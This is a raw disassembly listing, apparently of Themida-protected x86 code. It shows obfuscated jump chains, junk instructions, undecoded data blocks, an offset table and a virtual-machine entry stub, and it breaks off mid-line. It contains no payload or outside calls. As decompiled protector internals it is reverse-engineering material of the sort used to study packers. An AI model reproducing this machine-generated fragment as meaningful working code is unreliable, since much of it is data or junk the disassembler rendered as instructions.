loc_58D342: ; CODE XREF: Themida_:0058AA6Ej add esi, 63AA1567h sub esi, edx sub esi, 63AA1567h pop edx add ebp, 4C71676Ah add ebp, esi sub ebp, 4C71676Ah mov esi, [esp] jmp loc_587DF3 ; --------------------------------------------------------------------------- db 52h dd 42474FFh, 8124148Bh, 4C4h, 5376E900h, 815CFFFFh, 4ECh dd 24148900h, 4EC81h, 80E90000h, 89FFFF6Fh, 0BA52240Ch dd 7B4723CFh, 0FFB9D0E9h, 243C33FFh, 8124248Bh, 1C3h, 245F8700h dd 0FF4E17E9h, 0F68158FFh, 32F62753h, 5B92EE81h, 0ED814FE1h dd 779B56C0h, 0C581F501h, 779B56C0h, 2C5815Eh, 0E9000000h dd 0FFFF4CCAh ; --------------------------------------------------------------------------- loc_58D3D8: ; CODE XREF: Themida_:005833C4j xor ebx, 4F2B75C8h push 4268h jmp loc_58971E ; --------------------------------------------------------------------------- dd 0C681EE01h, 7C636A1Dh, 91D2E95Dh, 285BFFFFh, 0F5805AD5h dd 0E9E800F6h, 0FFFFD01Ch, 9F3D8EBEh, 8EBF5739h, 0D113187Bh dd 0A4EF81E7h, 0F748CA17h, 0C7C781D7h, 2920F6F4h, 7F22E9FEh dd 0C281FFFFh, 713B4A79h, 0B089E958h, 0DD00FFFFh, 59E8285Bh dd 0C075B551h, 0D5F602E5h, 5204E5C0h, 0FF65EEE9h, 4C481FFh dd 81000000h, 0D55133C5h, 0A4E94D31h, 81FFFFBAh, 0AB6D11C5h dd 80D9E948h, 0A9B9FFFFh, 0E9741018h, 0FFFFC996h, 596F5BBBh dd 0F3814B74h, 0BBA5204h, 1AE9DE29h, 83FFFFD5h, 895104C4h dd 4BA52E1h, 1000000h, 24148BD1h, 0FF506FE9h, 0F9E9ADFFh dd 8BFFFFB9h, 8956243Ch, 4C681E6h, 83000000h, 895704C6h dd 58A0E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D4B6: ; CODE XREF: Themida_:00589DD6j mov ebx, 19E74164h add ebx, 2B106E67h jmp loc_5853AE ; --------------------------------------------------------------------------- dw 0C181h dd 4, 8704C183h, 335C240Ch, 34312434h, 24343324h, 0F24248Bh dd 2268C8B6h, 8900004Ch, 5A542414h, 4C281h, 0E9500000h dd 0FFFF5A29h, 4002E0C1h, 5504E0C1h, 2E63C6BDh, 0EDC14D00h dd 80F58105h, 8159A912h, 3155B9CDh, 69C5813Bh, 2910F3A2h dd 69E95DE8h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D523: ; CODE XREF: Themida_:00585303j pop eax sub al, 3Dh add al, 79h sub al, ch sub al, 79h jmp loc_581961 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 16685053h, 89000036h, 0D788241Ch, 0FE885251h, 0FF8B11E9h dd 2E6C0FFh, 0FFE077E9h, 4C481FFh, 1000000h, 242C8BEBh dd 2904C483h, 0C3815BD8h, 28D52691h, 0E904EC83h, 0FFFFF907h dd 8704E983h, 0E95C240Ch, 0FFFFAA49h, 0B1E95350h, 81FFFFF5h dd 61477FF7h, 0B8CF8129h, 817F5E23h, 0F14760F7h, 5FFD2965h dd 0FFE845E9h, 113F68FFh, 24890000h, 24048124h, 4, 4C5815Dh dd 81000000h, 4EDh, 242C8700h, 240C895Ch, 0FFCAECE9h, 28EEBDFFh dd 8668678Bh, 89000054h, 68532434h, 6ABC7BB6h, 1FE9h, 0E2895200h dd 4865B850h, 5A2D1CE9h, 5126AE76h, 0B9h, 89C12900h, 0E95559C8h dd 0FFFF6144h, 7CE3815Bh, 814EA679h, 7995A4C3h, 0B9C0E922h dd 0F901FFFFh, 74FF515Fh, 0C8B0424h, 4C48124h, 0E9000000h dd 0FFFFDAAFh, 5C6FC181h, 0BD550048h, 7061F8Ch, 0FFD7CFE9h dd 24248BFFh, 650E9h db 0 ; --------------------------------------------------------------------------- loc_58D63D: ; CODE XREF: Themida_:005825F8j xor ecx, [esp] mov esp, [esp] push 3A6Eh mov [esp], edx push 292Dh mov [esp], esi jmp loc_581E66 ; --------------------------------------------------------------------------- dd 4C481h, 3DE90000h, 0D000003h, 72371035h, 6992A805h dd 58C689A4h, 0FF8E37E9h, 66C230FFh, 9D75E958h, 0FA29FFFFh dd 0FF8CFFE9h, 42E952FFh, 5BFFFF62h, 0A68FDh, 34FF0000h dd 240C8B24h, 0FFC771E9h, 3C77FFFFh, 5124048Bh, 0FF4310E9h dd 0EA814AFFh, 0E69DFEEFh, 148BD001h, 5A2BE924h, 0C381FFFFh dd 4, 0E9241C87h, 0FFFF6185h, 8324048Bh, 53E904C4h, 0D1FFFF4Bh dd 0DE981E1h, 293BD6B1h, 0E246E9CFh, 0E7C1FFFFh, 67B1E906h dd 5450FFFFh, 8124048Bh, 4C4h, 0BB63E900h, 0C9FEFFFFh dd 2821C180h, 0D80059C8h, 8B66FD04h, 77E9241Ch, 66FFFF72h dd 5A66D629h, 5E95D66h, 87FFFF5Fh, 815C241Ch, 0BB2492EAh dd 0FFD38908h, 815A2434h, 4C4h, 8373E900h, 0CA81FFFFh dd 7BA17DF1h, 5007EAC1h, 0F012EEB8h, 0B951485Eh, 725350FFh dd 173CC181h, 0F1812FB4h, 41E366DCh, 8107E1C1h, 3244DAF1h dd 0EBA5E9F6h, 0ED81FFFFh, 48501035h, 0CFE9D5F7h, 8BFFFFB5h dd 0C483240Ch, 24148704h, 0FFC567E9h, 0C78158FFh, 672B153Bh dd 0FF4D70E9h, 59CA01FFh, 0C7E9D731h, 0BFFFFF9Fh, 3B06360Fh dd 15FFA01h, 0FEA81CAh, 0E93B0636h, 1E9h, 0F80035B7h, 0FFF4FBE9h dd 81C380FFh, 0EB80C328h, 8AC38081h, 0FFA6BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_58D7C5: ; CODE XREF: Themida_:0058509Bj sub esp, 4 jmp loc_589D77 ; --------------------------------------------------------------------------- dd 0C8FEAF2Ch, 1D0C9134h, 0FFA606E9h, 0C026B2FFh, 0E28004EAh dd 0E95366D9h, 0FFFFE247h ; --------------------------------------------------------------------------- loc_58D7EC: ; CODE XREF: Themida_:0058361Bj pop esp and eax, esi mov esi, [esp] add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] push ebx push 1 pop ebx add dword ptr [esp+4], 0EA127DBh add [esp+4], ebx push edx jmp loc_589E54 ; --------------------------------------------------------------------------- db 59h, 8Ah, 64h dd 5C880424h, 0E95B0424h, 0FFFF40A5h, 24048B66h, 0D8268h dd 24348900h, 0C681E689h, 4, 4DB6BB53h, 0F381692Bh, 78344D1Eh dd 0E902E3C1h, 0FFFFC8FAh, 0FF4078E9h, 4315CFFh, 0D634E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D85A: ; CODE XREF: Themida_:00584807j push edx push edi jmp loc_5849F2 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aVicqhdq db '$V‰æQh„Q',0 align 2 dw 0FDE9h dd 51FFFFA9h, 0C181E189h, 4, 8904EC83h, 4BA2414h, 1000000h dd 2434FFD1h, 0FF61A0E9h, 0C1D1F7FFh, 4AE903E9h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D89B: ; CODE XREF: Themida_:005876F5j push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xchg esi, [esp] mov esp, [esp] jmp loc_58B19F ; --------------------------------------------------------------------------- loc_58D8B6: ; CODE XREF: Themida_:00588C0Bj mov ecx, 1 push ecx xor dword ptr [esp], 0EB02A87h pop eax jmp loc_589DDB ; --------------------------------------------------------------------------- db 0E9h, 0FBh, 3Fh dd 0C404FFFFh, 0C42CD800h, 0B3536652h, 0E9DE88DBh, 0FFFF5749h dd 24048B66h, 0FFE508E9h, 9FED80FFh, 289EB551h, 3FE959E8h dd 34FFFFD3h, 0E9C5282Dh, 0FFFF67F4h, 0E80C681h, 0BF576FB3h dd 4CE24C11h, 4215CF81h, 0E7812D64h, 7F304540h, 8106E7C1h dd 967C04F7h, 5FFE0164h, 0E955D629h, 0FFFF513Ah, 94E9515Fh dd 81FFFFC7h, 4ECh, 0B3F1E900h, 55ADFFFFh, 0AE4707BDh dd 5E2EE911h, 815AFFFFh, 4C4h, 31BF5700h, 2979771Dh, 0C3295FFBh dd 1D31C381h, 50E97977h, 81FFFFBDh, 48FE2404h, 401336Eh dd 242C8124h, 336E48FEh, 4EC81h, 34890000h, 5BDDBE24h dd 7401193Ah, 348B0424h, 4C48324h, 0FFBA74E9h, 240C8BFFh dd 0E9E38953h, 0FFFFE23Dh, 4EC81h, 2C890000h, 0F6E95224h dd 89FFFF6Bh, 9F0FE9CDh, 0B252FFFFh, 1C280CAh, 0B753DAF6h dd 9373E919h, 0C381FFFFh, 5BB422CAh, 5A2434FFh, 445FE956h dd 0C781FFFFh, 2, 2474FF57h, 48F5F04h, 24248B24h, 0FF870FE9h dd 240487FFh, 0F4F0E95Ch, 48FFFFFh, 8B665C24h, 8953240Ch dd 170B68E3h, 4890000h, 4B824h, 0C3010000h, 79FCE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DA16: ; CODE XREF: Themida_:0058D130j pop dword ptr [esp] pop eax push 6C8Ah jmp loc_58496A ; --------------------------------------------------------------------------- dd 4EC81h, 3C890000h, 864FBF24h, 0FD01DB1Dh, 0FFEDD8E9h dd 2EDC1FFh, 0E906EDC1h, 0FFFFF037h, 33240431h, 835C2404h dd 2C8904ECh, 898AE924h, 0E883FFFFh, 24048704h, 243C895Ch dd 4BFh, 5FFD0100h, 7D2B68h, 24048900h, 0FFE150E9h, 241C8BFFh dd 0F704C483h, 8ED9E9DBh, 895CFFFFh, 0F5B82404h, 2556206Dh dd 667C7E78h, 0CF412225h, 0E02B2D4Ch, 0C731F0D9h, 0FFFCE0E9h db 0FFh ; --------------------------------------------------------------------------- loc_58DAA1: ; CODE XREF: Themida_:005866ADj xchg ebp, [esp] pop esp xchg esi, [esp] mov esp, [esp] mov [esp], ax jmp loc_5818C9 ; --------------------------------------------------------------------------- dd 0B60F6664h, 6D7EE902h, 0DD21FFFFh, 0A3F0E95Bh, 0C481FFFFh dd 4, 9BF5751h, 0E95C505Dh, 0FFFF67DAh, 0FF3DECE9h, 48966FFh dd 3DE3E924h, 8956FFFFh, 0E68956E6h, 4C681h, 0EE830000h dd 24348704h, 242C895Ch, 826EEABDh, 0F7D5F709h, 4351E9DDh dd 34FFFFFFh, 0C4815D24h, 4, 0AEE9C231h, 0FFFFFF3Dh, 0E9042474h dd 0FFFFA2F8h, 28B9F281h, 0D03111DBh, 0F350355Ah, 0C389582Ah dd 21C38158h, 1367E52h, 21EB81FBh, 52367E52h, 8904EC83h dd 0C388241Ch, 1C8BDA88h, 4C48324h, 0D1E91388h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DB5B: ; CODE XREF: Themida_:0058225Fj mov [esp], esp jmp loc_588540 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF3D61h, 4EA835Dh, 2474FF52h, 48F5A04h, 2AE95C24h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DB7B: ; CODE XREF: Themida_:00585AFAj and edx, edi jmp loc_588684 ; --------------------------------------------------------------------------- dw 0F681h dd 183558Dh, 0FF6368E9h db 0FFh ; --------------------------------------------------------------------------- loc_58DB8D: ; CODE XREF: Themida_:00581A4Fj mov ebx, 0FFFFh and eax, ebx push dword ptr [esp] pop ebx push ecx mov ecx, esp jmp loc_589985 ; --------------------------------------------------------------------------- loc_58DBA0: ; CODE XREF: Themida_:00588C4Bj xor ebp, [esp] pop esp and [esp], eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58DBAD: ; CODE XREF: Themida_:0058A3D3j add ebx, edi jmp loc_5846F4 ; --------------------------------------------------------------------------- dd 4C5815Dh, 83000000h, 9DE904C5h, 66FFFFE0h, 0E924048Bh dd 0FFFFFF1Ah, 0E92434FFh, 0FFFFEA52h, 5C33E953h, 0A1B7FFFFh dd 25C780h, 26E95BF8h, 5EFFFFCEh, 8104C483h, 4C5h, 242C8700h dd 0FFB557E9h, 0E6C15EFFh, 7BC68104h, 52FBC082h, 5D395DBAh dd 5AD30103h, 0EB81F329h, 35D395Dh, 0FF6778E9h, 79BD55FFh dd 812DAB1Bh, 3C042444h, 290DC061h, 8104246Ch, 3C04246Ch dd 0E90DC061h, 0FFFFE627h ; --------------------------------------------------------------------------- loc_58DC38: ; CODE XREF: Themida_:0058DE71j mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp push ebp mov ebp, esp jmp loc_58524C ; --------------------------------------------------------------------------- dw 0C581h dd 3ADCA1B1h, 15DEF89h, 0C685FF8h, 8900005Bh, 7ABE2434h dd 8175A317h, 993219F6h, 68EED167h, 796Bh, 0BB241C89h dd 0 dd 0FF71AEE9h db 0FFh ; --------------------------------------------------------------------------- loc_58DC7D: ; CODE XREF: Themida_:0058A1B7j sub esp, 4 mov [esp], ebx mov ebx, 1 jmp loc_581F3F ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FFB2DBE9h, 52A1B0FFh, 4EC81h, 83E90000h, 81FFFF49h dd 49A795EAh, 0FFD6894Ch, 835A2434h, 57E904C4h, 4EFFFF49h dd 77F6814Eh, 156BE7Bh, 0C1815EF1h, 4, 5C240C87h, 0E924048Fh dd 0FFFF88B3h, 23B8BD55h, 0E8014A40h, 4F41685Dh, 1C890000h dd 0F657BB24h, 2DE95AECh, 66FFFFA8h, 52240C8Bh, 0C281E289h dd 4, 715268h, 240C8900h, 213924B9h, 31C1815Ch, 52268A40h dd 0FFFFFFBAh, 5AD101FFh, 0C102E9C1h, 0E98104E9h, 20AADE3h dd 0FA6DE957h, 0BBBEFFFFh, 0E9371E1Ch, 0FFFFC805h, 0FF3B90E9h db 0FFh ; --------------------------------------------------------------------------- loc_58DD39: ; CODE XREF: Themida_:0058B7ACj xchg edi, [esp] pop esp push esi push dword ptr [esp+4] mov esi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_58D127 ; --------------------------------------------------------------------------- db 0B5h dd 66E888F7h, 5AF00059h, 0EFB450h, 9A81E9E3h, 0CCBAFFFFh dd 299C6326h, 0C3015AD0h, 4C38158h, 87000000h, 248B241Ch dd 0B4055824h, 0E9625F00h, 0FFFF3B41h, 0E904C483h, 0FFFF8717h dd 6CEDE959h, 5D5CFFFFh, 2E99BB53h, 21E92BBCh, 0B8FFFFE5h dd 4, 6832BF57h, 0FD013577h, 0E9C5295Fh, 0FFFF3D2Ch, 0E950EE01h dd 0FFFF84BFh, 5004C483h, 24048B5Dh, 0FFC4D8E9h, 243C89FFh dd 0FF6AE4E9h, 0F18851FFh, 0FF8A48E9h, 4BEFFh, 0F2290000h dd 8324348Bh, 148704C4h, 3C895C24h, 0A59EBF24h, 0F8316EA0h dd 0E9243C8Bh, 0FFFF97C2h, 4BFC381h, 0CB29334Dh, 17BBBD55h dd 0E5D1180Fh, 0FF6D42E9h, 3F6BFFFh, 302D15D3h, 13A295Ah dd 5A3005F8h, 0E95F3A29h, 0FFFF3A9Dh ; --------------------------------------------------------------------------- loc_58DE2C: ; CODE XREF: Themida_:0058CC92j push 554Ah jmp loc_5888B3 ; --------------------------------------------------------------------------- dw 3C33h dd 24248B24h, 9C2404FFh, 0FF3A84E9h, 58C288FFh, 0B7535B66h dd 28672CD5h, 2EC83F8h, 241C8966h, 0D80067B3h, 0FFB758E9h db 0FFh ; --------------------------------------------------------------------------- loc_58DE61: ; CODE XREF: Themida_:0058603Dj add esp, 4 add eax, 4 push eax push dword ptr [esp+4] jmp loc_58DC38 ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFFA709h ; --------------------------------------------------------------------------- loc_58DE7C: ; CODE XREF: Themida_:0058872Ej add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_58C1DB ; --------------------------------------------------------------------------- loc_58DE8C: ; CODE XREF: Themida_:0058352Bj push 556Fh mov [esp], ebp mov ebp, esp jmp loc_583B2C ; --------------------------------------------------------------------------- db 0BBh dd 40AA226Bh, 0FF8851E9h, 685EFFh, 29000000h, 0E95A2414h dd 0FFFFE0C5h, 0E9B1C280h, 0FFFFCC32h, 0E940478Fh, 0FFFF3A05h dd 8124148Bh, 4ECh, 241C8900h, 4EC81h, 0F1E90000h, 53FFFF84h dd 0C2663DBBh, 0D2D6E91Ch, 34FFFFFFh, 240C8B24h, 4C481h dd 0C9680000h, 89000028h, 0FE68241Ch, 8900001Ah, 0BBE92424h dd 0E9FFFFD6h, 0FFFF39BDh, 53DF0459h, 0FF5EE3E9h, 0E189BDFFh dd 0EE29D76Ch, 0FF9FCDE9h, 1B3B68FFh, 34890000h, 1BB5324h dd 56000000h, 0FFB9CFE9h, 31D531FFh, 0BCC281EAh, 29452336h dd 73E0E9D0h, 74FFFFFFh, 3C8B0424h, 5577E924h, 8668FFFFh dd 89000007h, 0FE682434h, 5E000000h, 0FF7E33E9h, 68D830FFh dd 4220h, 0E9240C89h, 0FFFFEE19h, 4C481h, 0EC810000h, 4 dd 0E9240489h, 0FFFF878Ah ; --------------------------------------------------------------------------- loc_58DF88: ; CODE XREF: Themida_:0058BCC4j mov eax, 7D7745C9h xor eax, 6D5B4E1Fh inc eax push edi mov edi, 19154C1Ch jmp loc_58B9C2 ; --------------------------------------------------------------------------- dw 0C201h dd 24148758h, 0FE68525Ch, 54000036h, 8124048Fh, 42404h dd 0CE90000h, 53FFFF47h, 774A82BBh, 1ABE5646h, 81662A07h dd 110C1AC6h, 5EF309D5h, 9FCC381h, 0EB8108A9h, 61867ADEh dd 0FF78CDE9h, 0E9C781FFh, 68106F5Ch, 3375h, 0BD242C89h dd 15C6357Fh, 5106EDC1h, 0A81E37B9h, 0E9CD0907h, 0FFFFB62Fh ; --------------------------------------------------------------------------- loc_58E004: ; CODE XREF: Themida_:00583548j push 626E5171h jmp loc_58BA1E ; --------------------------------------------------------------------------- dw 5966h dd 0E908E2C0h, 0FFFFFE9Ch, 24048F54h, 4BA52h, 54010000h dd 0E95A0424h, 0FFFFCA02h, 0FA429A2Fh, 5E73E9h, 58274E41h dd 7C90EB94h, 5ED535h, 12FF4Ch, 5E68BCh, 213h, 2, 1, 5 dd 0FA429A2Fh, 5 dup(0) dd offset word_5A046A dd offset off_597B6E dd offset word_59C58A dd offset word_59B026 dd offset byte_59F83D dd offset word_58E486 dd offset dword_598578 dd offset byte_59ABF9 dd offset byte_59D955 dd offset dword_59FB44 dd offset byte_59D68F dd offset dword_597440 dd offset aMh ; "¬hÄ`" dd offset dword_596920 dd offset byte_592449 dd offset dword_59E158 dd offset byte_597CE3 dd offset dword_59CC0C dd offset word_5956DE dd offset byte_59F633 dd offset byte_5A2187 dd offset byte_5A09E9 dd offset dword_593F04 dd offset dword_58FEC0 dd offset byte_59BFC5 dd offset byte_59B935 dd offset byte_59A083 dd offset dword_597140 dd offset dword_59A054 dd offset dword_59CA80 dd offset word_5A024E dd offset word_5A12B2 dd offset byte_592C2F dd offset byte_5A17E9 dd offset byte_59BB23 dd offset byte_59892B dd offset dword_592F1C dd offset byte_5A2E39 dd offset byte_59EB3F dd offset dword_59FEB0 dd offset byte_59E187 dd offset aN_uacWsWcmrFN1 ; "-_UAc)ØWS»WcŒr¿(FÅn1ß[h-(" dd offset byte_59D30F dd offset byte_59C407 dd offset word_5A0246 dd offset byte_59EDCD dd offset dword_59428C dd offset dword_591554 dd offset byte_59FB2D dd offset byte_59F235 dd offset byte_59D6AF dd offset word_58EFE6 dd offset dword_595A90 dd offset word_596C6A dd offset dword_58F3F0 dd offset byte_5A1643 dd offset byte_59C763 dd offset dword_590250 dd offset byte_590FBB dd offset word_5983FE dd offset aMhw ; "¬hw^" dd offset aN1Vhjb ; "1ØVh†b" dd offset aN1Hcr ; "1ØhæR" dd offset dword_59D9BC dd offset byte_5A1317 dd offset byte_59106F dd offset off_58E70F dd offset byte_59463B dd offset word_599FE2 dd offset byte_598789 dd offset word_59B6B6 dd offset byte_58E995 dd offset word_59D672 dd offset byte_59A917 dd offset dword_59395C dd offset aNhP ; "h\x1BP" dd offset byte_5915D5 dd offset word_5905D2 dd offset dword_5A26F8 dd offset word_59A7B2 dd offset word_58FF9A dd offset byte_59D35D dd offset byte_59BBEF dd offset byte_59FF2D dd offset dword_598520 dd offset byte_595303 dd offset dword_5A0148 dd offset dword_598444 dd offset dword_5A20D8 dd offset word_59A126 dd offset dword_596244 dd offset word_596F36 dd offset byte_598E5F dd offset dword_59B070 dd offset aN1Hz ; "1Øh§'" dd offset byte_59A15B dd offset aMsM ; "¬é,¬" dd offset dword_5A13DC dd offset byte_599B77 dd offset byte_598DE5 dd offset aMsW ; "¬é·W" dd offset byte_59D0A9 dd offset byte_5A0D09 dd offset byte_59C48F dd offset aMs1i ; "¬é1›" dd offset dword_5972C8 dd offset byte_59B2BF dd offset dword_59BADC dd offset dword_5A1440 dd offset dword_590484 dd offset byte_5933FB dd offset word_5A2042 dd offset word_59A3BA dd offset byte_59DB47 dd offset byte_59DAEB dd offset dword_59C31C dd offset byte_59827B dd offset dword_598B88 dd offset byte_5941A9 dd offset dword_5964B8 dd offset dword_594E98 dd offset dword_58E9EC dd offset byte_598035 dd offset word_59601A dd offset byte_59CFD5 dd offset byte_595DC1 dd offset dword_5A2218 dd offset byte_598DD1 dd offset dword_590F7C dd offset word_598EBA dd offset word_59210A dd offset byte_59D285 dd offset dword_599A58 dd offset aMrh ; "¬RhÈ$" dd offset word_590FDA dd offset word_591D16 dd offset word_59AC9A dd offset byte_5987DF dd offset word_59D4B6 dd offset dword_5900BC dd offset word_59DA1E dd offset byte_5A29A5 dd offset dword_596B08 dd offset byte_59DD4F dd offset byte_59C7D3 dd offset byte_595821 dd offset off_5A31D3 dd offset word_593532 dd offset dword_5A3084 dd offset word_5996A6 dd offset byte_595A81 dd offset byte_5A0D29 dd offset off_59D34F dd offset word_58FA06 dd offset byte_59DFBD dd offset byte_59AFD9 dd offset word_591A56 dd offset byte_594915 dd offset aFrs ; "fRé{$" dd offset dword_5904D4 dd offset byte_59413D dd offset byte_5A18E5 dd offset dword_5A0B18 dd offset byte_592047 dd offset word_59CF12 dd offset byte_58FB97 dd offset byte_5A1711 ; --------------------------------------------------------------------------- loc_58E30C: ; CODE XREF: Themida_:005D45BEj ; Themida_:005E736Dj pusha pushf cld call $+5 pop edi sub edi, 61648E5h mov eax, edi add edi, 61645FDh cmp eax, [edi+2Ch] jnz short loc_58E32A jmp short loc_58E33D ; --------------------------------------------------------------------------- loc_58E32A: ; CODE XREF: Themida_:0058E326j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_58E339 ; --------------------------------------------------------------------------- loc_58E334: ; CODE XREF: Themida_:0058E33Bj add [edi+ecx*4+40h], eax dec ecx loc_58E339: ; CODE XREF: Themida_:0058E332j or ecx, ecx jnz short loc_58E334 loc_58E33D: ; CODE XREF: Themida_:0058E328j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_58E34A: ; CODE XREF: Themida_:0058E351j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_58E34A loc_58E353: ; CODE XREF: Themida_:loc_58EE1Dj ; Themida_:00590A2Ej ... lodsb jmp loc_598255 ; --------------------------------------------------------------------------- loc_58E359: ; CODE XREF: Themida_:00597CA5j sub ebx, 417CEFBh jmp loc_5A0952 ; --------------------------------------------------------------------------- dd 4C481h, 0E9FD0000h, 187Eh, 6CB2CE81h, 0EE814053h, 48E005D6h dd 69E0EE81h, 0F201091Bh, 4C2815Eh, 87000000h, 21E92414h dd 8300014Fh, 0C8704E9h, 44E95C24h, 8900010Dh, 32B42404h dd 7FE9E288h, 81000006h, 704460C5h, 0EC815B67h, 4, 0E9240C89h dd 0B4BBh ; --------------------------------------------------------------------------- loc_58E3C0: ; CODE XREF: Themida_:0059FD43j neg ebp and ebp, 30163A31h jmp loc_5A2F6A ; --------------------------------------------------------------------------- db 31h, 0F0h, 5Eh dd 1D10BD55h, 1EE9663Bh, 830000D0h, 248904ECh, 24048324h dd 24148B04h, 4C481h, 0C2810000h, 4, 1F2B6853h, 2C890000h dd 652C6824h, 2C8B3A93h, 5A20E924h, 0BA520000h, 4, 875AD301h dd 0E95C241Ch, 0FFFFFF37h, 5C24048Fh, 9C2424D2h, 0FFFF2AE9h dd 4BEFFh, 0F5890000h, 5DEA015Eh, 31241433h, 14332414h dd 24248B24h, 0FF2434FFh, 99E92434h, 6800013Ch, 0 dd 0FFEB815Bh, 5269907Fh, 0EF2F10BAh, 5AD32969h, 4A15E9h dd 0F3815E00h, 5114593Ch, 876FE9h, 4C48300h, 113B5E9h dd 24248B00h, 6DF568h, 820EE900h db 2 dup(0) word_58E486 dw 34FFh ; DATA XREF: Themida_:0058E084o dd 2434FF24h, 4C48359h, 40968h, 24348900h, 562168h, 24248900h dd 8904EC83h, 0EB68242Ch, 89000050h, 0B2E9241Ch, 8100010Bh dd 143A2EBh, 0F1C38178h, 1593863h, 0F1EB81F3h, 81593863h dd 143A2C3h, 1C335E78h, 241C3124h, 8B241C33h, 29662424h dd 0E99C2404h, 0FFFFFE6Fh ; --------------------------------------------------------------------------- loc_58E4E4: ; CODE XREF: Themida_:005A0B96j add ebp, 73FA37E8h add ebp, 4A74318Ah jmp loc_5A1D43 ; --------------------------------------------------------------------------- db 5, 0D1h, 53h dd 0E22D1DC8h, 2909BB2Eh, 2EE205D0h, 0D12D09BBh, 5A1DC853h dd 0FB08AD05h, 0B123E96Fh, 0E9520000h, 4179h, 3FF6F681h dd 0DEF74AE6h, 9AA4B850h, 0C629B3DEh, 5EF12958h, 10932E9h dd 4C68100h, 87000000h, 36E92434h, 0BFFFFFFFh, 4, 0DAF8E9h dd 0C4815900h, 4, 0E9515358h, 4B9Eh ; --------------------------------------------------------------------------- loc_58E55C: ; CODE XREF: Themida_:0059935Aj push 5D31FDAh push dword ptr [esp] pop edx add esp, 4 push ecx sub esp, 4 mov [esp], edx mov edx, 0 jmp loc_595029 ; --------------------------------------------------------------------------- loc_58E57F: ; CODE XREF: Themida_:0059C9E9j add ebx, 65D80409h add ebx, edx sub ebx, 65D80409h pop edx push ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 jmp loc_58FCB8 ; --------------------------------------------------------------------------- loc_58E5A2: ; CODE XREF: Themida_:00599D9Ej add ebp, edx pop edx jmp loc_596582 ; --------------------------------------------------------------------------- dw 8966h dd 0A0E9240Ch, 0E9FFFFFDh, 0FFFFFD9Bh, 0C831C831h, 5A06E9h dd 1BA00h, 0D5290000h, 0F3F5815Ah, 9020A10h, 242C8BEAh dd 6804C483h, 235Dh, 0E9240C89h, 26ABh, 57243489h, 3D97E9h dd 24440100h, 0DD15E904h, 0EC810000h, 4, 12A79E9h, 5EF00100h dd 3302C083h, 4312404h, 24043324h, 5E61E95Ch, 0EF810000h dd 4, 8B243C87h, 14892424h, 0BA24h, 0A1E90000h, 890000A5h dd 4C281E2h, 83000000h, 148704C2h, 9D685C24h, 8900000Ch dd 0E954242Ch, 1450Dh, 0C181C101h, 124603Ch, 0E924048Bh dd 0E7AEh, 8F04C483h, 248B2404h, 4016624h, 0E4E99C24h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E66F: ; CODE XREF: Themida_:005969EAj mov ch, 47h shr ch, 1 jmp loc_59E110 ; --------------------------------------------------------------------------- dd 113CC681h, 0E6C17CEBh, 0BC684E05h, 8900007Eh, 0C0B9240Ch dd 0C15FDC77h, 0E18103E1h, 49974322h, 55B5C981h, 0B8502D44h dd 5CD42D48h, 0F8E9C121h, 83000124h, 575904C4h, 4BFh, 0BBC28100h dd 1006326h, 4EC83FAh, 1460FE9h, 0E4E94D00h db 31h, 1, 0 ; --------------------------------------------------------------------------- loc_58E6CB: ; CODE XREF: Themida_:00591DEEj pop ecx add esp, 4 shl edi, 6 neg edi and edi, 2C897D21h inc edi add edi, 8E7AB9D3h jmp loc_5999C9 ; --------------------------------------------------------------------------- db 0BAh, 93h, 3Fh dd 42E917A6h, 0B90000B9h, 61CA77AFh, 6B5EE181h, 0C9815EA6h dd 14AB0FC8h, 631BF181h, 8FE967BDh db 0F3h, 2 dup(0) off_58E70F dd offset dword_4BC2EC+0DE7Ch ; DATA XREF: Themida_:0058E178o align 4 dd 89243C89h, 4C781E7h, 0E9000000h, 0CCB2h ; --------------------------------------------------------------------------- loc_58E724: ; CODE XREF: Themida_:0059684Aj add esp, 4 pop ecx jmp loc_59F532 ; --------------------------------------------------------------------------- db 81h, 0EDh, 93h dd 1B95363h, 0EE815DEEh, 1, 5551F681h, 8B5670A0h, 61E92404h dd 8F000129h, 0B8502404h, 4, 4244401h, 0A5F0E9h, 52D5E00h dd 13F0274h, 0CDBD55F8h, 8144B847h, 0BA33C8F5h, 5DE8017Bh dd 0BE565552h, 3B5E6ACAh, 89A5E9h db 0 ; --------------------------------------------------------------------------- loc_58E781: ; CODE XREF: Themida_:0059819Dj pop esi push ecx mov ecx, 43A8705Ch dec ecx or ecx, 485E030Eh dec ecx dec ecx sub ecx, 0B4B207Ch add esi, 0B9D474Ch sub esi, ecx sub esi, 0B9D474Ch pop ecx jmp loc_595AAF ; --------------------------------------------------------------------------- loc_58E7AB: ; CODE XREF: Themida_:00594074j sub esp, 4 mov [esp], eax mov eax, esi push 6611h mov [esp], eax xor dword ptr [esp], 4CEB6DF3h pop edi push edx mov edx, 25235A83h shr edx, 1 dec edx jmp loc_595C47 ; --------------------------------------------------------------------------- dd 4C4835Eh, 348BF329h, 5D545524h, 4C581h, 0C5810000h dd 4, 0A3BFE9h db 0 ; --------------------------------------------------------------------------- loc_58E7F1: ; CODE XREF: 